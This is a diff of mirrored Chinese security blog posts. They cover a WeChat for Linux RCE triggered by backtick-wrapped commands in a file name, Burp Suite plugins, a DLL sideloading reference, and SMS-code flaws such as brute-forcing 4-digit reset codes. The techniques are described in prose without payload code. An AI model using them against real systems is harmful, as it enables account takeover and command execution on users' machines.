@@ -0,0 +1,20 @@
|
||||
# 【已复现】微信linux最新版RCE
|
||||
原创 金夏
|
||||
金夏 金夏安全 2026-02-10 08:42
|
||||
|
||||
免责声明
|
||||
|
||||
本文仅用于技术学习和讨论。请勿使用本文所提供的内容及相关技术从事非法活动，由于传播、利用此文所提供的内容或工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果均与文章作者及本账号无关，本次测试仅供学习使用。如有内容争议或侵权，请及时私信我们！我们会立即删除并致歉。谢谢！
|
||||
|
||||
|
||||
**一、漏洞描述**
|
||||
|
||||
微信 for Linux 在处理用户接收的文件时，当用户点击打开包含恶意命令的文件名时，由于对文件名中的特殊字符（如分号、反引号、$()、换行符等）未进行充分过滤和转义，直接将文件名拼接进shell命令中执行，导致攻击者可通过构造恶意的文件名实现任意命令执行。
|
||||
|
||||
|
||||
|
||||
下一个linux版本微信，然后创建带有`号包裹文件名，包裹里填自己想要执行的命令的文件，自己发给自己就行了
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
# 【神器合集】漏洞挖掘效率狂飙！15款BurpSuite必装插件+工具链，告别无效扫扫扫！
|
||||
原创 渗透测试安全日记
|
||||
渗透测试安全日记 渗透测试安全日记 2026-01-08 07:50
|
||||
|
||||
关注我，
|
||||
共筑安全防线！
|
||||
|
||||
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息，工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任！
|
||||
|
||||
|
||||
作为安全人，谁没经历过这样的崩溃瞬间：对着海量流量手动筛漏洞看到眼酸，用原生Burp爆破半天没结果，明明感觉有漏洞却卡在检测环节无从下手
|
||||
。
|
||||
|
||||
其实BurpSuite的真正威力，一直都藏在它的插件生态里。
|
||||
|
||||
就像FastjsonScan4Burp能精准探测JSON参数漏洞一样，选对插件就能让漏洞挖掘效率翻倍，少走很多的弯路。
|
||||
|
||||
今天整理了15款实战派神器，覆盖目录爆破、敏感信息提取、越权检测、高性能攻击等核心场景，供各位师傅参考。
|
||||
|
||||
|
||||
|
||||
一、漏洞探测精准打击插件
|
||||
|
||||
1. FastjsonScan4Burp：被动扫描界的“JSON漏洞猎手”，自动识别数据包中JSON参数或请求体，内置针对性payload库，无需手动构造就能探测Fastjson相关漏洞，误报率极低。
|
||||
|
||||
2. SQLiPy：SQL注入检测“提速器”，支持盲注、时间盲注、堆叠注入等多种类型，能自动优化payload绕过基础WAF，比原生扫描更深入，适合复杂业务场景的注入挖掘。
|
||||
|
||||
3. XSS-Radar：跨站脚本漏洞“探测器”，实时监控响应包中的输入点，自动测试不同类型的XSS payload，还能标记可利用的DOM注入点，帮你快速锁定攻击面。
|
||||
|
||||
二、效率提升省时神器插件
|
||||
|
||||
1. Highlighter and Extractor (HaE)：敏感信息的“荧光笔+采集器”，能自动高亮响应中的密码、密钥、身份证号等敏感数据，还支持结构化导出，不用再逐行筛查流量包，合规审计也能用。
|
||||
|
||||
2. Logger++：流量日志的“全息记录仪”，弥补原生Burp历史记录短板，支持关键词搜索、多条件过滤，复杂测试流程后能快速定位关键请求，还能批量导出日志便于复盘。
|
||||
|
||||
3. Copy As Python-Request：接口复现“转换器”，一键将Burp中的请求转换成Python代码，无需手动拼接headers和参数，漏洞复现、POC编写效率直接拉满。
|
||||
|
||||
三、高阶攻击突破瓶颈插件
|
||||
|
||||
1. Turbo Intruder：高性能爆破“涡轮增压器”，采用异步I/O架构，速度比原生Intruder快数十倍，支持验证码爆破、高频请求绕过等场景，4位数字验证码秒出结果，还能自定义Python脚本扩展功能。
|
||||
|
||||
2. Auth Analyzer：越权漏洞“自动化引擎”，配置高低权限用户会话后，自动用低权限重放高权限请求，通过对比响应状态码、内容差异，快速标记水平越权、垂直越权点，不用手动切换账号测试。
|
||||
|
||||
3. BurpSuite Cookie Jar：会话管理“管家”，自动保存和切换不同场景的Cookie，支持批量导入导出，在多账号测试、会话保持场景中能省去频繁替换Cookie的麻烦。
|
||||
|
||||
|
||||
|
||||
四、工具联动战力翻倍组合
|
||||
|
||||
光有Burp插件还不够，搭配这些工具形成闭环，能覆盖漏洞挖掘全流程：
|
||||
|
||||
1.DirSearch + Burp代理：DirSearch负责智能目录爆破，支持多线程、自定义字典和后缀过滤，通过Burp代理转发请求，既能利用Burp的流量监控功能，又能借助DirSearch的高效扫描能力，内网渗透、精准路径挖掘必备。
|
||||
|
||||
2.Xray + Burp联动：将Burp抓取的数据包转发给Xray，利用Xray的主动扫描引擎深度检测漏洞，Burp负责流量拦截和修改，两者互补，比单一工具扫描更全面。
|
||||
|
||||
3.Nuclei + Burp导出：用Burp导出目标站点URL列表，通过Nuclei加载对应CVE漏洞模板，批量检测已知漏洞，适合快速排查目标是否存在高危历史漏洞。
|
||||
|
||||
五、安装与使用小技巧
|
||||
|
||||
插件安装：Burp中依次点击「Extender」→「Extensions」→「Add」，选择.jar或.bapp文件即可，建议从官方BApp Store或GitHub可信仓库下载，避免恶意插件窃取流量。
|
||||
|
||||
@@ -0,0 +1,167 @@
|
||||
# 【靶场限免】【WeCh*t同款】文件上传导致的RCE
|
||||
原创 大王
|
||||
大王 好靶场 2026-02-10 08:10
|
||||
|
||||
.5
|
||||
|
||||
💡 好靶场
|
||||
|
||||
我们是一个专门为所有网络安全人员制作网络安全靶场的团队，我们立志于制作出让所有安全同好都能学到东西的好靶场，所以我们团队名称就叫“
|
||||
好靶场”。关注我们获取更多免费会员的福利。
|
||||
我们承诺每天至少更新1-2个新靶场。2026年冲刺1000个。
|
||||
|
||||
|
||||
|
||||
# 好靶场目前进度
|
||||
|
||||
627
|
||||
|
||||
靶场数量
|
||||
|
||||
198个
|
||||
|
||||
漏洞报告数量
|
||||
|
||||
# 文件上传导致的RCE
|
||||
|
||||
突然发现靶场的库存里还有一个和本次WeChat RCE 很类似的靶场。大家可以试试。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# 好靶场介绍
|
||||
|
||||
零基础入门不迷茫！专属网络安全从零到一体系化训练——配套完整靶场+精选学习资料，帮你快速搭建网安知识框架，迈出入门关键一步！
|
||||
|
||||
全场景实战全覆盖！聚焦Web渗透工程师核心能力，深度拆解TOP10逻辑漏洞，精通PHP代码审计、Java代码审计等核心技能，从基础原理到实战攻防，覆盖行业高频应用场景！
|
||||
|
||||
|
||||
真实漏洞场景沉浸式体验！src训练专题重磅上线——1:1还原真实漏洞报告，让你亲身感受实战挖洞流程，积累符合企业需求的实战经验！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
有宝子就问了，主播主播，这么好的靶场怎么用：
|
||||
|
||||
首先关注好靶场
|
||||
|
||||
|
||||
然后发送bug，可以点击链接直接登录
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### 福利1：
|
||||
|
||||
|
||||
|
||||
|
||||
找到个人中心，邀请码输入0482d6d28539424c，白嫖14天高级会员。
|
||||
#### 福利2：
|
||||
|
||||
关注好靶场bilibili。拿着关注截图找到客服，领取5积分或者7天高级会员。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# ~每日限免
|
||||
|
||||
为了能让更多的宝子可以免费的开启会员靶场，我们会在工作日随机开放一些靶场的限免，还请加群关注。我们会以如下的方式在群里通知。
|
||||
|
||||
|
||||
|
||||
|
||||
# ~内部群
|
||||
|
||||
加群不收费哈！！！
|
||||
交流群里会每天更新限免靶场，以及免费学习资料。
|
||||
|
||||
进一个群就可以，所有的通知都会通知到位
|
||||
|
||||
进交流群，请加我好友
|
||||
|
||||
|
||||
|
||||
喜欢玩QQ的宝子们可以加这个QQ群
|
||||
|
||||
|
||||
|
||||
|
||||
**~**
|
||||
|
||||
AI客服内测ing
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
可以完成简单的客服能力，以及靶场推荐
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# 会员订阅
|
||||
|
||||
首先点击会员订阅
|
||||
|
||||
##
|
||||
|
||||
|
||||
##
|
||||
|
||||
## 然后选择对应的套餐
|
||||
|
||||
|
||||
##
|
||||
|
||||
|
||||
##
|
||||
|
||||
## 选择去支付
|
||||
|
||||
|
||||
##
|
||||
|
||||
|
||||
##
|
||||
|
||||
## 支付完成后即可会员到账
|
||||
|
||||
|
||||
##
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
有什么好的建议可以在留言区评论哦
|
||||
|
||||
##
|
||||
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
# 微信 linux最新版 1click RCE 已复现
|
||||
Say Sec 2026-02-10 07:59
|
||||
|
||||
|
||||
|
||||
|
||||
## 前言：
|
||||
|
||||
文中技术分析仅供交流讨论，poc仅供合法测试，用于企业自查，切勿用于非法测试，未授权测试造成后果由使用者承担，与本公众号以及棉花糖无关。
|
||||
## 正文
|
||||
|
||||
|
||||
## 今日，有bro在朋友圈发了如下内容：
|
||||
|
||||
|
||||
|
||||
## 简而言之，微信 linux版本存在1click rce，只需要将文件名使用反引号包裹命令，目标点击文件即可执行，复现：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
# 某安全厂商DLL侧载漏洞
|
||||
原创 陆安予
|
||||
陆安予 白帽子安全笔记2.0 2026-02-10 08:11
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
DLL劫持库[1]
|
||||
HoneyMyte 更新了 CoolClient，并在最近的营销活动中部署了多个窃取程序。[2]
|
||||
#### 引用链接
|
||||
|
||||
[1]
|
||||
DLL劫持库: https://hijacklibs.net/entries/3rd_party/sangfor/libngs.html[2]
|
||||
HoneyMyte 更新了 CoolClient，并在最近的营销活动中部署了多个窃取程序。: https://securelist.com/honeymyte-updates-coolclient-uses-browser-stealers-and-scripts/118664/
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,290 @@
|
||||
# 短信验证码高危漏洞案例，不容错过！
|
||||
渗透测试安全日记 2026-01-04 23:00
|
||||
|
||||
“证书站的未授权漏洞，忆校园青春
|
||||
[阅edu证书站的未授权漏洞，忆校园青春](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247486254&idx=1&sn=993cd82bceba042301a009c28ca2d251&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
点击蓝字 关注我 共筑信息安全
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任！
|
||||
|
||||
|
||||
|
||||
|
||||
1
|
||||
|
||||
|
||||
|
||||
|
||||
背景
|
||||
|
||||
|
||||
本次实战的案例，源于某高校的人脸采集系统，听着都感觉危害很大，因为全是敏感信息，如身份证、人脸等，拿到就是高危漏洞。从无账号到登录系统，靠的就是fuzz，详细的过程见实战过程。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
2
|
||||
|
||||
|
||||
|
||||
|
||||
实战过程
|
||||
|
||||
|
||||
通过一系列的信息收集，高校的人脸采集系统引起了作者注意，为什么？因为有敏感信息。
|
||||
|
||||
|
||||
|
||||
|
||||
连Hunter、Fofa都没索引到这个系统，作者靠灯塔拿到了，灯塔确实好使，关键还免费，需要的师傅可以文末获取下载链接！
|
||||
|
||||
|
||||
|
||||
|
||||
系统的首页如下图，可以看到，只用一个登录按钮。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
看下findsomething，也没有找到“注册”功能相关的关键字，同时也跑了下接口，并无接口未授权问题。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
本次案例的关键操作来了，首先抓包观察下登录系统的数据包情况，随意输入账号密码，点击登录。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
可以看到登录的数据包中有个login关键字，秉着试试的心态！
|
||||
|
||||
|
||||
作者将login改为register，惊喜时刻，注册账号成功。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
使用注册成功的账号登录系统。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
可以看到获取到了身份凭证。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
登录到了个人信息首页。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
任意用户注册账号漏洞拿下，这个fuzz操作确实有点妙。都登录系统，肯定得把全量的功能测一遍，一般可以测试sql注入、越权、文件上传等漏洞。
|
||||
|
||||
|
||||
|
||||
|
||||
co
|
||||
|
||||
|
||||
点击蓝字 关注我 共筑信息安全
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**免责声明：**
|
||||
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任！
|
||||
|
||||
|
||||
**1**
|
||||
|
||||
|
||||
|
||||
**背景**
|
||||
|
||||
总结下近期实战过程中发现的短信验证码漏洞，都是相对比较严重的漏洞，分享下给大家！最终可导致任意用户登录、任意用户密码重置、任意用户注册等问题。
|
||||
|
||||
|
||||
**2**
|
||||
|
||||
|
||||
|
||||
实战过程
|
||||
|
||||
案例一：短信验证码返回前端
|
||||
|
||||
个人认为此漏洞是短信验证码中最严重的漏洞，回显短信验证码至前端，此时的认证形同虚设。
|
||||
|
||||
|
||||
实战案例
|
||||
|
||||
某系统登录页面，输入手机号后，发送验证码。
|
||||
|
||||
|
||||
|
||||
|
||||
使用burp抓包，可看到回包中有一串数字。
|
||||
|
||||
|
||||
|
||||
|
||||
拿出手机收到的验证码比对，一模一样。
|
||||
|
||||
|
||||
|
||||
这种漏洞，截至目前为止，作者挖到不止一个，真有这样的奇葩高危洞。
|
||||
|
||||
|
||||
案例二：短信验证码定向转发
|
||||
|
||||
此漏洞是个人在挖SRC时，除了短信轰炸外，比较常见的短信验证码漏洞。通过在手机参数输入不同的手机号，用不同的分隔符号如逗号，空格等。最终导致可在不同的手机号上收到同一个验证码。
|
||||
|
||||
|
||||
有时候会对整个数据包进行加密处理，切勿错过这个挖掘点，需要逆向去更改数据包，输入多个手机号。
|
||||
|
||||
|
||||
实战案例
|
||||
|
||||
xx系统的小程序登录入口。输入手机号后，使用burp抓包。
|
||||
|
||||
|
||||
|
||||
|
||||
在mobile字段，输入两个不同的手机号码，用逗号分隔。
|
||||
|
||||
|
||||
|
||||
|
||||
点击发送后，不同的手机号收到同一个验证码。
|
||||
|
||||
|
||||
|
||||
这种漏洞，截至目前为止，用数不过来形容毫不夸张，算是比较高频的一种漏洞。
|
||||
|
||||
|
||||
案例三：短信验证码可爆破
|
||||
|
||||
由于短信验证码未设置有效期，且位数为4位，导致的短信验证码可爆破。
|
||||
|
||||
见到4位验证码，可先发一个短信，看收到的短信是否提示有效期，如无有效期说明，可以尝试爆破。
|
||||
|
||||
|
||||
实战案例
|
||||
|
||||
xx系统的用户密码重置功能，点击进入重置页面。
|
||||
|
||||
|
||||
|
||||
|
||||
输入手机号及用户新密码，因此处无旧密码校验功能，随便造。
|
||||
|
||||
|
||||
|
||||
|
||||
使用burp抓包，将数据发送至遍历模块。
|
||||
|
||||
|
||||
|
||||
|
||||
参数设置长度4位验证码。
|
||||
|
||||
|
||||
|
||||
|
||||
成功爆破验证码，重置任意用户密码成功。
|
||||
|
||||
|
||||
|
||||
|
||||
3
|
||||
|
||||
|
||||
|
||||
经验总结
|
||||
|
||||
总结分享下常见高危的短信验证码漏洞，漏洞挖掘思路供各位师傅参考。值得一提的是，在加密的环境下，需要逆向去重新改数据包，不要因为加密了而错过漏洞挖掘点，毕竟都是高危洞。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
往期好文推荐
|
||||
|
||||
[推荐！全面的资产侦察及漏洞检测工具](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247487396&idx=1&sn=5100224c9f9a61003699fde6b8ab36ee&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[更新|帆软、用友、泛微、蓝凌等常见OA系统综合漏洞检测工具](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247487310&idx=1&sn=f27b0f1199b3f52b086d1c7dc18685d0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Web渗透测试综合工具](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247486715&idx=1&sn=1d507a1a89b525e5c1ad4d75d0d9eedc&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Swagger漏洞检测工具](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247487229&idx=1&sn=07acbbae48db8862efe4bb8062056a96&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Java漏洞专项检测工具](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247487205&idx=1&sn=e0d8353342f7d33fc3ce5bd5e747c861&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[渗透测试集成工具](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247487068&idx=1&sn=e343013c9f5a4f736865236e6dfd4bf0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[AntiDebug_Breaker最新版,Hook必备](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247486930&idx=1&sn=2684c990c45276e6fb23de5c48a1c85a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[有趣的Fuzz+BucketTool工具等于双高危！](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247486814&idx=1&sn=1d114995e1cf5745e824d2018cdbd615&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[推荐一款资产“自动化”筛选工具](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247486679&idx=1&sn=288fe9f4312c3267c33765cfa9e3ab06&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[EDU SRC学号、账号等敏感信息收集工具](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247486657&idx=1&sn=847f77601dd94eed5a5b04b5bf8176a1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Jeecg-boot最新漏洞检测工具](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247486651&idx=1&sn=70d0e3d5ac4920684f52a4ee52531854&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[js.map文件还原组合工具](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247486582&idx=1&sn=a08daa5cc01f04b813d827e5d8bf444b&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Nacos漏洞检测专项工具,攻防必备](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247486606&idx=1&sn=595219ca87296bd633d89d0e966d40a6&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[微信公众号，微信小程序，钉钉,飞书等第三方平台接管工具](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247486471&idx=1&sn=1a9ddf83c74be73ab70bbbf202771a19&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user